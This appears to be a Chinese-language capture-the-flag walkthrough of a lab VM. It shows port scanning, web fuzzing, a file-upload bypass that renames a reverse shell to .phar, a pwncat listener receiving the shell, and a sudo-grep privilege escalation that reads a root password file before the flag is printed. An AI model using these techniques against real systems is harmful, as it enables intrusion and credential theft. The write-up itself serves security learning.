11 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.078 seconds (123.20 hosts/sec). 4 responded ❯ export ip=192.168.60.160 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- I scanned ports so fast, even my computer was surprised. [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.160:22 Open 192.168.60.160:5000 [~] Starting Script(s) [~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-17 18:56 CST Initiating ARP Ping Scan at 18:56 Scanning 192.168.60.160 [1 port] Completed ARP Ping Scan at 18:56, 0.10s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 18:56 Completed Parallel DNS resolution of 1 host. at 18:56, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 18:56 Scanning 192.168.60.160 [2 ports] Discovered open port 22/tcp on 192.168.60.160 Discovered open port 5000/tcp on 192.168.60.160 Completed SYN Stealth Scan at 18:56, 0.08s elapsed (2 total ports) Nmap scan report for 192.168.60.160 Host is up, received arp-response (0.00064s latency). Scanned at 2025-01-17 18:56:41 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 5000/tcp open upnp syn-ack ttl 64 MAC Address: 08:00:27:0D:A3:12 (Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.45 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
❯ proxychains wfuzz -c -u "http://172.17.0.2/FUZZ.php" -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt --hw 31 [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://172.17.0.2/FUZZ.php Total requests: 207643 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000015: 200 141 L 312 W 8116 Ch "index" 000000361: 200 0 L 0 W 0 Ch "upload" 000009849: 200 53 L 104 W 1361 Ch "machine"
发现可以上传文件，但只允许上传zip文件
尝试上传反弹shell，你可以改成phar就能通过校验
Root提权
监听一下端口
/opt目录下有个提示
1 2 3 4 5 6 7 8 9 10 11 12
❯ pwncat-cs -lp 4444 [20:30:15] Welcome to pwncat 🐈! __main__.py:164 [20:30:19] received connection from 192.168.60.160:46434 bind.py:84 [20:30:20] 0.0.0.0:4444: upgrading from /usr/bin/dash to /usr/bin/bash manager.py:957 192.168.60.160:46434: registered new host w/ db manager.py:957 (local) pwncat$ (remote) www-data@415560e9ff49:/$ cd /opt/ (remote) www-data@415560e9ff49:/opt$ ls nota.txt (remote) www-data@415560e9ff49:/opt$ cat nota.txt Protege la clave de root, se encuentra en su directorio /root/clave.txt, menos mal que nadie tiene permisos para acceder a ella. 保护root密码，它位于/root/clave.txt目录中，幸好没有人有权限访问它。
然而发现www-data有sudo权限
利用grep读取文件
1 2 3 4 5 6 7 8 9
(remote) www-data@415560e9ff49:/opt$ sudo -l Matching Defaults entries for www-data on 415560e9ff49: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User www-data may run the following commands on 415560e9ff49: (root) NOPASSWD: /usr/bin/cut (root) NOPASSWD: /usr/bin/grep (remote) www-data@415560e9ff49:/opt$ sudo grep '' /root/clave.txt dockerlabsmolamogollon123
拿到密码了
回到宿主机，切换到root账户
1 2 3 4 5 6 7 8
(remote) pepinodemar@hiddendocker:/tmp$ su root Contraseña: root@hiddendocker:/tmp# cd ~ root@hiddendocker:~# ls root.txt root@hiddendocker:~# cat root.txt 34259435B34IKHB5KL3JB5
